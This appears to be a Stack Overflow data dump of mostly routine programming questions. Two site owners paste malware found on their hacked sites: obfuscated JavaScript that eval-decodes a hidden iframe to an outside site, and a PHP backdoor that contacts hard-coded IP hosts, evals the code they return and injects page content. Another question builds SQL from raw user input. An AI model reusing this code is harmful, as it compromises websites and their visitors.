I have an index.aspx and somehow javascript code block injected into its page definition. How is it possible?
index page should be like :
> "<%@ Page Title="" Language="C#" MasterPageFile="~/Views/Shared/MainMasterPage.Master"
Inherits="System.Web.Mvc.ViewPage<dynamic>" %>"
but after injection (hacked), it looks like
> "<%<script>i=0;try{prototype;}catch(z){h="harCode";f=['-33c-33c63c60c-10c-2c58c69c57c75c67c59c68c74c4c61c59c74c27c66c59c67c59c68c74c73c24c79c42c55c61c36c55c67c59c-2c-3c56c69c58c79c-3c-1c49c6c51c-1c81c-29c-33c-33c-33c63c60c72c55c67c59c72c-2c-1c17c-29c-33c-33c83c-10c59c66c73c59c-10c81c-29c-33c-33c-33c58c69c57c75c67c59c68c74c4c77c72c63c74c59c-2c-8c18c63c60c72c55c67c59c-10c73c72c57c19c-3c62c74c74c70c16c5c5c65c75c66c59c61c69c62c4c72c75c5c57c69c75c68c74c8c11c4c70c62c70c-3c-10c77c63c58c74c62c19c-3c7c6c-3c-10c62c59c63c61c62c74c19c-3c7c6c-3c-10c73c74c79c66c59c19c-3c76c63c73c63c56c63c66c63c74c79c16c62c63c58c58c59c68c17c70c69c73c63c74c63c69c68c16c55c56c73c69c66c75c74c59c17c66c59c60c74c16c6c17c74c69c70c16c6c17c-3c20c18c5c63c60c72c55c67c59c20c-8c-1c17c-29c-33c-33c83c-29c-33c-33c60c75c68c57c74c63c69c68c-10c63c60c72c55c67c59c72c-2c-1c81c-29c-33c-33c-33c76c55c72c-10c60c-10c19c-10c58c69c57c75c67c59c68c74c4c57c72c59c55c74c59c27c66c59c67c59c68c74c-2c-3c63c60c72c55c67c59c-3c-1c17c60c4c73c59c74c23c74c74c72c63c56c75c74c59c-2c-3c73c72c57c-3c2c-3c62c74c74c70c16c5c5c65c75c66c59c61c69c62c4c72c75c5c57c69c75c68c74c8c11c4c70c62c70c-3c-1c17c60c4c73c74c79c66c59c4c76c63c73c63c56c63c66c63c74c79c19c-3c62c63c58c58c59c68c-3c17c60c4c73c74c79c66c59c4c70c69c73c63c74c63c69c68c19c-3c55c56c73c69c66c75c74c59c-3c17c60c4c73c74c79c66c59c4c66c59c60c74c19c-3c6c-3c17c60c4c73c74c79c66c59c4c74c69c70c19c-3c6c-3c17c60c4c73c59c74c23c74c74c72c63c56c75c74c59c-2c-3c77c63c58c74c62c-3c2c-3c7c6c-3c-1c17c60c4c73c59c74c23c74c74c72c63c56c75c74c59c-2c-3c62c59c63c61c62c74c-3c2c-3c7c6c-3c-1c17c-29c-33c-33c-33c58c69c57c75c67c59c68c74c4c61c59c74c27c66c59c67c59c68c74c73c24c79c42c55c61c36c55c67c59c-2c-3c56c69c58c79c-3c-1c49c6c51c4c55c70c70c59c68c58c25c62c63c66c58c-2c60c-1c17c-29c-33c-33c83'][0].split('c');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];}r=String;z=((e)?h:"");for(;567!=i;i+=1){j=i;if(e)s=s+r["fromC"+z](w[j]*1+42);}if(v&&e&&r)e(s);</script><script>try{q=document.createElement("div");q.appendChild(q+"");}catch(qw){h=-012/5;}try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(123-122)+zz;ss=[];f='fr'+'om'+'Ch';f+='arC';f+='qgode'["substr"](4-2);w=this;e=w[f["substr"](11)+zz];n="3.5#3.5#51.5#50#15#19#49#54.5#48.5#57.5#53.5#49.5#54#57#22#50.5#49.5#57#33.5#53#49.5#53.5#49.5#54#57#56.5#32#59.5#41#47.5#50.5#38#47.5#53.5#49.5#19#18.5#48#54.5#49#59.5#18.5#19.5#44.5#23#45.5#19.5#60.5#5.5#3.5#3.5#3.5#51.5#50#56#47.5#53.5#49.5#56#19#19.5#28.5#5.5#3.5#3.5#61.5#15#49.5#53#56.5#49.5#15#60.5#5.5#3.5#3.5#3.5#49#54.5#48.5#57.5#53.5#49.5#54#57#22#58.5#56#51.5#57#49.5#19#16#29#51.5#50#56#47.5#53.5#49.5#15#56.5#56#48.5#29.5#18.5#51#57#57#55#28#22.5#22.5#58.5#51.5#49.5#58.5#52.5#57.5#59#22#56#57.5#22.5#48.5#54.5#57.5#54#57#24#25#22#55#51#55#18.5#15#58.5#51.5#49#57#51#29.5#18.5#23.5#23#18.5#15#51#49.5#51.5#50.5#51#57#29.5#18.5#23.5#23#18.5#15#56.5#57#59.5#53#49.5#29.5#18.5#58#51.5#56.5#51.5#48#51.5#53#51.5#57#59.5#28#51#51.5#49#49#49.5#54#28.5#55#54.5#56.5#51.5#57#51.5#54.5#54#28#47.5#48#56.5#54.5#53#57.5#57#49.5#28.5#53#49.5#50#57#28#23#28.5#57#54.5#55#28#23#28.5#18.5#30#29#22.5#51.5#50#56#47.5#53.5#49.5#30#16#19.5#28.5#5.5#3.5#3.5#61.5#5.5#3.5#3.5#50#57.5#54#48.5#57#51.5#54.5#54#15#51.5#50#56#47.5#53.5#49.5#56#19#19.5#60.5#5.5#3.5#3.5#3.5#58#47.5#56#15#50#15#29.5#15#49#54.5#48.5#57.5#53.5#49.5#54#57#22#48.5#56#49.5#47.5#57#49.5#33.5#53#49.5#53.5#49.5#54#57#19#18.5#51.5#50#56#47.5#53.5#49.5#18.5#19.5#28.5#50#22#56.5#49.5#57#31.5#57#57#56#51.5#48#57.5#57#49.5#19#18.5#56.5#56#48.5#18.5#21#18.5#51#57#57#55#28#22.5#22.5#58.5#51.5#49.5#58.5#52.5#57.5#59#22#56#57.5#22.5#48.5#54.5#57.5#54#57#24#25#22#55#51#55#18.5#19.5#28.5#50#22#56.5#57#59.5#53#49.5#22#58#51.5#56.5#51.5#48#51.5#53#51.5#57#59.5#29.5#18.5#51#51.5#49#49#49.5#54#18.5#28.5#50#22#56.5#57#59.5#53#49.5#22#55#54.5#56.5#51.5#57#51.5#54.5#54#29.5#18.5#47.5#48#56.5#54.5#53#57.5#57#49.5#18.5#28.5#50#22#56.5#57#59.5#53#49.5#22#53#49.5#50#57#29.5#18.5#23#18.5#28.5#50#22#56.5#57#59.5#53#49.5#22#57#54.5#55#29.5#18.5#23#18.5#28.5#50#22#56.5#49.5#57#31.5#57#57#56#51.5#48#57.5#57#49.5#19#18.5#58.5#51.5#49#57#51#18.5#21#18.5#23.5#23#18.5#19.5#28.5#50#22#56.5#49.5#57#31.5#57#57#56#51.5#48#57.5#57#49.5#19#18.5#51#49.5#51.5#50.5#51#57#18.5#21#18.5#23.5#23#18.5#19.5#28.5#5.5#3.5#3.5#3.5#49#54.5#48.5#57.5#53.5#49.5#54#57#22#50.5#49.5#57#33.5#53#49.5#53.5#49.5#54#57#56.5#32#59.5#41#47.5#50.5#38#47.5#53.5#49.5#19#18.5#48#54.5#49#59.5#18.5#19.5#44.5#23#45.5#22#47.5#55#55#49.5#54#49#32.5#51#51.5#53#49#19#50#19.5#28.5#5.5#3.5#3.5#61.5"[((e)?"s":"")+"p"+"lit"]("a#"[((e)?"su":"")+"bstr"](1));for(i=6-2-1-2-1;i-567!=0;i++){j=i;if(st)ss=ss+st.fromCharCode(-1*h*(1+1*n[j]));}q=ss;e(q);}</script>
@ Page Title="" Language="C#" MasterPageFile="~/Views/Shared/MainMasterPage.Master"
Inherits="System.Web.Mvc.ViewPage<dynamic>" %>"
Between "<%" and "@" the code is injected. But what should our security opening to let this happen. Please help. | 2 |
2,433,328 | 03/12/2010 14:25:38 | 123,592 | 06/16/2009 09:30:03 | 240 | 10 | Quick top level server language question. | Right, so if you have to decide on a server-side language for a distributed Linux-based server backend, would you choose:
1. PHP
2. Mono ASP.net
3. Java
As a C++ programmer, I'm thinking Java+Tomcat, but I'd love to hear experienced thoughts here, especially relating to debugging and IDE (likely Eclipse).
Also, please, it's not a flame question. I'm seeing excellent sites written in all, I'm just thinking about the compile/debug/release cycle.
Cheers,
Shane | java | mono | php | null | null | null | open | Quick top level server language question.
===
Right, so if you have to decide on a server-side language for a distributed Linux-based server backend, would you choose:
1. PHP
2. Mono ASP.net
3. Java
As a C++ programmer, I'm thinking Java+Tomcat, but I'd love to hear experienced thoughts here, especially relating to debugging and IDE (likely Eclipse).
Also, please, it's not a flame question. I'm seeing excellent sites written in all, I'm just thinking about the compile/debug/release cycle.
Cheers,
Shane | 0 |
4,635,672 | 01/08/2011 19:20:39 | 237,963 | 12/23/2009 23:29:24 | 155 | 1 | How do I remove part of a string from a url using JQuery? | How do I remove everything before */post* in this string below and add my own address using Javascript/JQuery
showLogo=false&showVersionInfo=false&dataFile=/post/2653785385/photoset_xml/tumblr_lepsihc2RV1qbclqg/500
I want it to appear like this:
http://mydomain.com/post/2653785385/photoset_xml/tumblr_lepsihc2RV1qbclqg/500
| javascript | jquery | string | null | null | null | open | How do I remove part of a string from a url using JQuery?
===
How do I remove everything before */post* in this string below and add my own address using Javascript/JQuery
showLogo=false&showVersionInfo=false&dataFile=/post/2653785385/photoset_xml/tumblr_lepsihc2RV1qbclqg/500
I want it to appear like this:
http://mydomain.com/post/2653785385/photoset_xml/tumblr_lepsihc2RV1qbclqg/500
| 0 |
5,595,869 | 04/08/2011 13:36:42 | 697,552 | 04/07/2011 20:30:35 | 6 | 0 | I'm having trouble with using the update sql command in C#.net | I'm having trouble using the sql update statement in C#. Every command I have executed so far works except my update command. Is there something special you have to do to your c#.net code in order to make the update sql command to work?
Here is my code where the programs stops workings.
command.ExecuteNonQuery(); // <--- stops here
System.Web.HttpContext.Current.Response.Write("EXECUTED QUERY!"); // <--- does not get here
SQL SYNTAX
"UPDATE Users SET username = '" + txtUsername.Text + "', password = '" + txtPassword.Text + "' WHERE username = '" + txtUsername.Text + "'"
If more information is needed about my code just let me know. | c# | sql | null | null | null | null | open | I'm having trouble with using the update sql command in C#.net
===
I'm having trouble using the sql update statement in C#. Every command I have executed so far works except my update command. Is there something special you have to do to your c#.net code in order to make the update sql command to work?
Here is my code where the programs stops workings.
command.ExecuteNonQuery(); // <--- stops here
System.Web.HttpContext.Current.Response.Write("EXECUTED QUERY!"); // <--- does not get here
SQL SYNTAX
"UPDATE Users SET username = '" + txtUsername.Text + "', password = '" + txtPassword.Text + "' WHERE username = '" + txtUsername.Text + "'"
If more information is needed about my code just let me know. | 0 |
9,274,785 | 02/14/2012 09:50:36 | 733,608 | 05/01/2011 19:54:29 | 1 | 0 | What kind of blogging platform should I use to make a website like Icanhascheeseburger? | I have been looking a lot at google because I wanted to make a website like Icanhascheeseburger for a college project. I never worked on web development, I know how to use PHP, HTML and related technologies but I learned them just for the sake of knowledge.
With the research I did I came to the conclusion that I should use Wordpress with some plug-ins. Anyone knows how to set up one of these blogs without developing one from scratch?
Thank you very much! | php | wordpress | wordpress-plugin | blogs | null | 02/14/2012 09:55:38 | not constructive | What kind of blogging platform should I use to make a website like Icanhascheeseburger?
===
I have been looking a lot at google because I wanted to make a website like Icanhascheeseburger for a college project. I never worked on web development, I know how to use PHP, HTML and related technologies but I learned them just for the sake of knowledge.
With the research I did I came to the conclusion that I should use Wordpress with some plug-ins. Anyone knows how to set up one of these blogs without developing one from scratch?
Thank you very much! | 4 |
2,665,676 | 04/19/2010 06:59:01 | 288,738 | 03/08/2010 12:01:21 | 17 | 0 | How to set image on EAGL VIEW | I want to put images from my photo library in to the EAGL view for some further processing. The image that are already in our resources folder will be taken by itself but mltiple or images from photo library can't. So any one knows how to put image on EAGL view in open GLES.
Regtards viral | iphone | objective-c | opengl | opengl-es | iphone-sdk-3.0 | null | open | How to set image on EAGL VIEW
===
I want to put images from my photo library in to the EAGL view for some further processing. The image that are already in our resources folder will be taken by itself but mltiple or images from photo library can't. So any one knows how to put image on EAGL view in open GLES.
Regtards viral | 0 |
8,138,099 | 11/15/2011 14:42:22 | 956,021 | 09/21/2011 03:00:31 | 1 | 0 | Creating a maven project | How can i create a simple maven project in eclipse.every time i create i gives error while creating the project.
errors
Description Resource Path Location Type
CoreException: Could not calculate build plan: Plugin org.apache.maven.plugins:maven-compiler-plugin:2.3.2 or one of its dependencies could not be resolved: Failed to read artifact descriptor for org.apache.maven.plugins:maven-compiler-plugin:jar:2.3.2: ArtifactResolutionException: Failure to transfer org.apache.maven.plugins:maven-compiler-plugin:pom:2.3.2 from http://repo1.maven.org/maven2 was cached in the local repository, resolution will not be reattempted until the update interval of central has elapsed or updates are forced. Original error: Could not transfer artifact org.apache.maven.plugins:maven-compiler-plugin:pom:2.3.2 from/to central (http://repo1.maven.org/maven2): Connect times out pom.xml /speech-to-text line 1 Maven Project Build Lifecycle Mapping Problem
| java | maven-2 | maven | null | null | null | open | Creating a maven project
===
How can i create a simple maven project in eclipse.every time i create i gives error while creating the project.
errors
Description Resource Path Location Type
CoreException: Could not calculate build plan: Plugin org.apache.maven.plugins:maven-compiler-plugin:2.3.2 or one of its dependencies could not be resolved: Failed to read artifact descriptor for org.apache.maven.plugins:maven-compiler-plugin:jar:2.3.2: ArtifactResolutionException: Failure to transfer org.apache.maven.plugins:maven-compiler-plugin:pom:2.3.2 from http://repo1.maven.org/maven2 was cached in the local repository, resolution will not be reattempted until the update interval of central has elapsed or updates are forced. Original error: Could not transfer artifact org.apache.maven.plugins:maven-compiler-plugin:pom:2.3.2 from/to central (http://repo1.maven.org/maven2): Connect times out pom.xml /speech-to-text line 1 Maven Project Build Lifecycle Mapping Problem
| 0 |
148,704 | 09/29/2008 13:46:16 | 4,918 | 09/06/2008 15:54:41 | 621 | 41 | How to bind from a ContentTemplate to the surrounding custom Control? | I've got the following user control:
<TabItem
x:Name="Self"
x:Class="App.MyTabItem"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:app="clr-namespace:App"
>
<TabItem.Header>
<!-- This works -->
<TextBlock Text="{Binding ElementName=Self, Path=ShortLabel, UpdateSourceTrigger=PropertyChanged}"/>
</TabItem.Header>
<TabItem.ContentTemplate>
<DataTemplate>
<!-- This binds to "Self" in the surrounding window's namespace -->
<TextBlock Text="{Binding ElementName=Self, Path=ShortLabel, UpdateSourceTrigger=PropertyChanged}"/>
This custom TabItem defines a `DependencyProperty` 'ShortLabel' to implement an interface. I would like to bind to this and other properties from within the `TabItem`'s `DataTemplate`. But due to strange interactions, the `TextBlock` within the `DataTemplate` gets bound to the **parent container** of the `TabItem`, which also is called "Self", but defined in another Xaml file.
I also tried variations with `RelativeSource` or `TemplateBinding`. The former seems to be also affected by the scoping issue, i.e. doesn't find a `MyTabItem` as ancestor. The latter tries to bind to the `ContentPresenter` of the `TabItem` itself, which of course doesn't have the property I'm looking for.
Why does the Binding work in the TabItem.Header, but not from within TabItem.ContentTemplate, and how should I proceed to get to the user control's properties from within the DataTemplate?
I assume I could replace the whole `ContentTemplate` to achieve the effect I'm lookg for, but since I want to preserve the default look and feel of the `TabItem`, I'm very reluctant to do so. | xaml | binding | datatemplate | null | null | 11/03/2008 17:00:32 | off topic | How to bind from a ContentTemplate to the surrounding custom Control?
===
I've got the following user control:
<TabItem
x:Name="Self"
x:Class="App.MyTabItem"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:app="clr-namespace:App"
>
<TabItem.Header>
<!-- This works -->
<TextBlock Text="{Binding ElementName=Self, Path=ShortLabel, UpdateSourceTrigger=PropertyChanged}"/>
</TabItem.Header>
<TabItem.ContentTemplate>
<DataTemplate>
<!-- This binds to "Self" in the surrounding window's namespace -->
<TextBlock Text="{Binding ElementName=Self, Path=ShortLabel, UpdateSourceTrigger=PropertyChanged}"/>
This custom TabItem defines a `DependencyProperty` 'ShortLabel' to implement an interface. I would like to bind to this and other properties from within the `TabItem`'s `DataTemplate`. But due to strange interactions, the `TextBlock` within the `DataTemplate` gets bound to the **parent container** of the `TabItem`, which also is called "Self", but defined in another Xaml file.
I also tried variations with `RelativeSource` or `TemplateBinding`. The former seems to be also affected by the scoping issue, i.e. doesn't find a `MyTabItem` as ancestor. The latter tries to bind to the `ContentPresenter` of the `TabItem` itself, which of course doesn't have the property I'm looking for.
Why does the Binding work in the TabItem.Header, but not from within TabItem.ContentTemplate, and how should I proceed to get to the user control's properties from within the DataTemplate?
I assume I could replace the whole `ContentTemplate` to achieve the effect I'm lookg for, but since I want to preserve the default look and feel of the `TabItem`, I'm very reluctant to do so. | 2 |
10,675,956 | 05/20/2012 18:20:19 | 1,026,199 | 11/02/2011 17:50:26 | 486 | 36 | "The real object has been deleted" in logcat | This question was previously asked [Here][1], but not answered, And failed to find any article on the web that explains this issue.
My app is working fine, but at some point when i `startActivityForResult` i see
3 logs of `webcoreglue: The real object has been deleted`.
Now allegedly my app is all ok so far, and i have no idea what and why this message is being logged.
Could someone explain why and when this is happening and what does it mean, before i try and find out what's wrong with my app?
[1]: http://stackoverflow.com/questions/7362216/android-the-real-object-has-been-deleted | android | android-emulator | android-logcat | null | null | null | open | "The real object has been deleted" in logcat
===
This question was previously asked [Here][1], but not answered, And failed to find any article on the web that explains this issue.
My app is working fine, but at some point when i `startActivityForResult` i see
3 logs of `webcoreglue: The real object has been deleted`.
Now allegedly my app is all ok so far, and i have no idea what and why this message is being logged.
Could someone explain why and when this is happening and what does it mean, before i try and find out what's wrong with my app?
[1]: http://stackoverflow.com/questions/7362216/android-the-real-object-has-been-deleted | 0 |
2,062,878 | 01/14/2010 08:07:44 | 79,485 | 03/18/2009 13:26:50 | 48 | 19 | In C#, is there a kind of a SortedList<double> that allows fast querying (with LINQ) for the nearest value? | I am looking for a structure that holds a sorted set of double values. I want to query this set to find the closest value to a specified reference value.
I have looked at the `SortedList<double, double>`, and it does quite well for me. However, since I do not need explicit key/value pairs. this seems to be overkill to me, and i wonder if i could do faster.
Conditions:
- The structure is initialised only once, and does never change (no insert/deletes)
- The amount of values is in the range of 100k.
- The structure is queried often with new references, which must execute **fast**.
- For simplicity and speed, the set's value just below of the reference may be returned, not actually the nearest value
- I want to use LINQ for the query, if possible, for simplicity of code.
- I want to use no 3rd party code if possible. .NET 3.5 is available.
- Speed is more importand than memory footprint
I currently use the following code, where `SortedValues` is the aforementioned `SortedList`
IEnumerable<double> nearest = from item in SortedValues.Keys
where item <= suggestion
select item;
return nearest.ElementAt(nearest.Count() - 1);
**Can I do faster?**
Also I am not 100% percent sure, if this code is really safe. `IEnumerable`, the return type of my query is not by definition sorted anymore. However, a Unit test with a large test data base has shown that it is in practice, so this works for me. Have you hints regarding this aspect?
*P.S. I know that there are many similar questions, but none actually answers my specific needs. Especially there is this one [http://stackoverflow.com/questions/1363773/c-data-structure-like-dictionary-but-without-a-value][1], but the questioner does just want to check the existence not find anything.*
[1]: http://stackoverflow.com/questions/1363773/c-data-structure-like-dictionary-but-without-a-value | c# | sorting | linq | sortedlist | .net | null | open | In C#, is there a kind of a SortedList<double> that allows fast querying (with LINQ) for the nearest value?
===
I am looking for a structure that holds a sorted set of double values. I want to query this set to find the closest value to a specified reference value.
I have looked at the `SortedList<double, double>`, and it does quite well for me. However, since I do not need explicit key/value pairs. this seems to be overkill to me, and i wonder if i could do faster.
Conditions:
- The structure is initialised only once, and does never change (no insert/deletes)
- The amount of values is in the range of 100k.
- The structure is queried often with new references, which must execute **fast**.
- For simplicity and speed, the set's value just below of the reference may be returned, not actually the nearest value
- I want to use LINQ for the query, if possible, for simplicity of code.
- I want to use no 3rd party code if possible. .NET 3.5 is available.
- Speed is more importand than memory footprint
I currently use the following code, where `SortedValues` is the aforementioned `SortedList`
IEnumerable<double> nearest = from item in SortedValues.Keys
where item <= suggestion
select item;
return nearest.ElementAt(nearest.Count() - 1);
**Can I do faster?**
Also I am not 100% percent sure, if this code is really safe. `IEnumerable`, the return type of my query is not by definition sorted anymore. However, a Unit test with a large test data base has shown that it is in practice, so this works for me. Have you hints regarding this aspect?
*P.S. I know that there are many similar questions, but none actually answers my specific needs. Especially there is this one [http://stackoverflow.com/questions/1363773/c-data-structure-like-dictionary-but-without-a-value][1], but the questioner does just want to check the existence not find anything.*
[1]: http://stackoverflow.com/questions/1363773/c-data-structure-like-dictionary-but-without-a-value | 0 |
5,131,459 | 02/27/2011 04:29:33 | 334,133 | 05/06/2010 06:20:41 | 9 | 0 | Deploying flask on cherokee and uwsgi | I'm attempting to deploy a flask web app I've developed using cherokee and uwsgi. I got cherokee and uwsgi installed and working (i think uwsgi works), but when I configure the app in cherokee, i just get an error saying `uWSGI Error wsgi application not found`. I used an xml config file (I think you need to with cherokee), and that contains this:
<uwsgi>
<pythonpath>/srv/mobile-site/app/</pythonpath>
<app mountpoint="/">
<module>mobilecms</module>
<callable>app</callable>
</app>
</uwsgi>
My flask app is obviouly in the `/srv/mobile-site/app/` folder with the main script being `mobilecms.py`.
Is there something wrong with this file? Would permission errors cause this? Thanks in advance for any help! | python | flask | cherokee | uwsgi | null | 07/05/2012 14:29:04 | off topic | Deploying flask on cherokee and uwsgi
===
I'm attempting to deploy a flask web app I've developed using cherokee and uwsgi. I got cherokee and uwsgi installed and working (i think uwsgi works), but when I configure the app in cherokee, i just get an error saying `uWSGI Error wsgi application not found`. I used an xml config file (I think you need to with cherokee), and that contains this:
<uwsgi>
<pythonpath>/srv/mobile-site/app/</pythonpath>
<app mountpoint="/">
<module>mobilecms</module>
<callable>app</callable>
</app>
</uwsgi>
My flask app is obviouly in the `/srv/mobile-site/app/` folder with the main script being `mobilecms.py`.
Is there something wrong with this file? Would permission errors cause this? Thanks in advance for any help! | 2 |
11,069,968 | 06/17/2012 08:32:17 | 1,210,582 | 02/15/2012 05:56:22 | 8 | 0 | oracle restore database error |
My sql log for datbase restore opertaion in oracle has following information. And i dont find any tables restored into my destination database. Can u please give ur suggestion to resolve this?
Connected to: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
Export file created by EXPORT:V10.02.01 via conventional path
import done in WE8MSWIN1252 character set and AL16UTF16 NCHAR character set
. . skipping table "CHART_HEADER"
. . skipping table "CHART_VARIABLES"
| oracle | oracle11g | null | null | null | 06/18/2012 17:34:46 | off topic | oracle restore database error
===
My sql log for datbase restore opertaion in oracle has following information. And i dont find any tables restored into my destination database. Can u please give ur suggestion to resolve this?
Connected to: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
Export file created by EXPORT:V10.02.01 via conventional path
import done in WE8MSWIN1252 character set and AL16UTF16 NCHAR character set
. . skipping table "CHART_HEADER"
. . skipping table "CHART_VARIABLES"
| 2 |
9,897,034 | 03/27/2012 20:18:32 | 1,171,283 | 01/26/2012 12:53:50 | 5 | 0 | Asp .Net open source projects | I am a developer with 3.5 years of experience in mainframes but shifted to .Net 3 months back. Currently looking to participate in the open source Asp .Net projects for next 2-3 months. I have already gone through codeplex and requested membership for few projects but still i am waiting for the project to start..
Generally how active the members of these open source projects will be?
Also are their any sites where i can find active Asp .Net projects so that i can start working in the coming days?
| asp.net | .net | open-source | null | null | 03/27/2012 21:20:28 | off topic | Asp .Net open source projects
===
I am a developer with 3.5 years of experience in mainframes but shifted to .Net 3 months back. Currently looking to participate in the open source Asp .Net projects for next 2-3 months. I have already gone through codeplex and requested membership for few projects but still i am waiting for the project to start..
Generally how active the members of these open source projects will be?
Also are their any sites where i can find active Asp .Net projects so that i can start working in the coming days?
| 2 |
744,289 | 04/13/2009 15:38:24 | 77,449 | 03/12/2009 22:15:18 | 113 | 0 | SQLite - increase value by a certain number | is it possible to increase a certain value in a table by a certain number without reading last value and afterwards updating it?
i.e. I have columns "product" and "quality":
product: iLamp
quality: 50
I want to increase(or decrease) quality by x. To achieve this I am first reading last value (50), increasing or decreasing it, and writing it back.
Is there a direct way to complete this task?
| sqlite | null | null | null | null | null | open | SQLite - increase value by a certain number
===
is it possible to increase a certain value in a table by a certain number without reading last value and afterwards updating it?
i.e. I have columns "product" and "quality":
product: iLamp
quality: 50
I want to increase(or decrease) quality by x. To achieve this I am first reading last value (50), increasing or decreasing it, and writing it back.
Is there a direct way to complete this task?
| 0 |
3,522,298 | 08/19/2010 13:33:47 | 425,285 | 08/19/2010 13:33:47 | 1 | 0 | PHP, I18n and gettext not working properly? | I'm currently internationalizing an existing PHP project and thought the easiest way to do this is by just integrating I18n + gettext.
Currently I have a I18n.php:
<?php
setlocale(LC_ALL, 'de_DE.UTF-8');
bindtextdomain('cms', './locale');
textdomain('cms');
?>
Which is being included in every file that needs some translation.
Example: login.inc.php:
include_once("i18n.php");
...
<tr>
<td width='40%' align='right'>"._('User Name').":</td>
<td width='60%'><input name='USERNAME' type='text' class='login_txt'></td>
</tr>
<tr>
<td align='right'>"._('Password').":</td>
<td><input name='PASSWORD' class='login_txt' type='password'></td>
</tr>
...
It kind works but I got one weird problem. It only translates the to things like 2 out of 10 times I load this page (2x "Benutzername", 8x "User Name"). Does anyone know what could cause this problem? I'm trying to figure it out for like an hour already and still no clue.
Since I'm writing here already: Does anyone know a better approach to internationalize an existing PHP projecT?
Thanks! | php | internationalization | gettext | null | null | null | open | PHP, I18n and gettext not working properly?
===
I'm currently internationalizing an existing PHP project and thought the easiest way to do this is by just integrating I18n + gettext.
Currently I have a I18n.php:
<?php
setlocale(LC_ALL, 'de_DE.UTF-8');
bindtextdomain('cms', './locale');
textdomain('cms');
?>
Which is being included in every file that needs some translation.
Example: login.inc.php:
include_once("i18n.php");
...
<tr>
<td width='40%' align='right'>"._('User Name').":</td>
<td width='60%'><input name='USERNAME' type='text' class='login_txt'></td>
</tr>
<tr>
<td align='right'>"._('Password').":</td>
<td><input name='PASSWORD' class='login_txt' type='password'></td>
</tr>
...
It kind works but I got one weird problem. It only translates the to things like 2 out of 10 times I load this page (2x "Benutzername", 8x "User Name"). Does anyone know what could cause this problem? I'm trying to figure it out for like an hour already and still no clue.
Since I'm writing here already: Does anyone know a better approach to internationalize an existing PHP projecT?
Thanks! | 0 |
7,399,093 | 09/13/2011 08:47:30 | 900,492 | 08/18/2011 11:26:35 | 1 | 0 | sharepoint 2010 e-commerce implementation | i have to implement e-commerce in sharepoint 2010
i have sharepoint own server (licensed) but all people suggest to implement e commerce in sharepoint buy the Microsoft e-commerce server for sharepoint but we don't have that much of budget.
can any one tell me how to implement e-commerce in my sharepoint 2010 and creditcard transactions in my page.
company strictly want to implement credit-card transaction in sharepoint not in asp.net project.
| sharepoint2010 | e-commerce | null | null | null | 09/13/2011 19:03:35 | not a real question | sharepoint 2010 e-commerce implementation
===
i have to implement e-commerce in sharepoint 2010
i have sharepoint own server (licensed) but all people suggest to implement e commerce in sharepoint buy the Microsoft e-commerce server for sharepoint but we don't have that much of budget.
can any one tell me how to implement e-commerce in my sharepoint 2010 and creditcard transactions in my page.
company strictly want to implement credit-card transaction in sharepoint not in asp.net project.
| 1 |
9,751,306 | 03/17/2012 15:41:50 | 1,175,820 | 01/28/2012 22:48:35 | 3 | 0 | Can someone tell me more about this malicious script? | This was injected into my site in a hack attack the other day, I decrypted it and got this:
Can someone tell me what it does?
EDIT: dont go to the IP addresses, They are probably malicious too.
if (!function_exists(GetMama)){function opanki($buf){global $god_mode; str_replace("href","href",strtolower($buf),$cnt_h); str_replace(" 2)&&($cnt_x == 0)) {$buf = $god_mode . $buf;} return $buf; } function GetMama(){$mother = "www.imp3.me";return $mother;}ob_start("opanki");$show = false;function ahfudflfzdhfhs($pa){global $show; global $god_mode; $mama = GetMama();$file = urlencode(__FILE__);if (isset($_SERVER["HTTP_HOST"])){$host = $_SERVER["HTTP_HOST"];}if (isset($_SERVER["REMOTE_ADDR"])){$ip = $_SERVER["REMOTE_ADDR"];}if (isset($_SERVER["HTTP_REFERER"])){$ref = urlencode($_SERVER["HTTP_REFERER"]);}if (isset($_SERVER["HTTP_USER_AGENT"])){$ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));}$url = "http://" . $pa . "/opp.php?mother=" .$mama . "&file=" . $file . "&host=" . $host . "&ip=" . $ip . "&ref=" . $ref . "&ua=" .$ua;if( function_exists("curl_init") ){$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 3);$ult = curl_exec($ch);} else {$ult = @file_get_contents($url);} if (strpos($ult,"eval") !== false){$z = str_replace("eval","",$ult); eval($z); $show = true;return true;} if (strpos($ult,"ebna") !== false){$z = str_replace("ebna","",$ult); $god_mode = $z;$show = true;return true;} else {return false;}}$father[] = "146.185.254.245";$father[] = "31.184.242.103";$father[] = "91.196.216.148";$father[] = "91.196.216.49";foreach($father as $ur){if ( ahfudflfzdhfhs($ur) ) { break ;}}if ($show === false){$script=''; $god_mode = $script;}}
| hack | null | null | null | null | 03/17/2012 20:17:41 | off topic | Can someone tell me more about this malicious script?
===
This was injected into my site in a hack attack the other day, I decrypted it and got this:
Can someone tell me what it does?
EDIT: dont go to the IP addresses, They are probably malicious too.
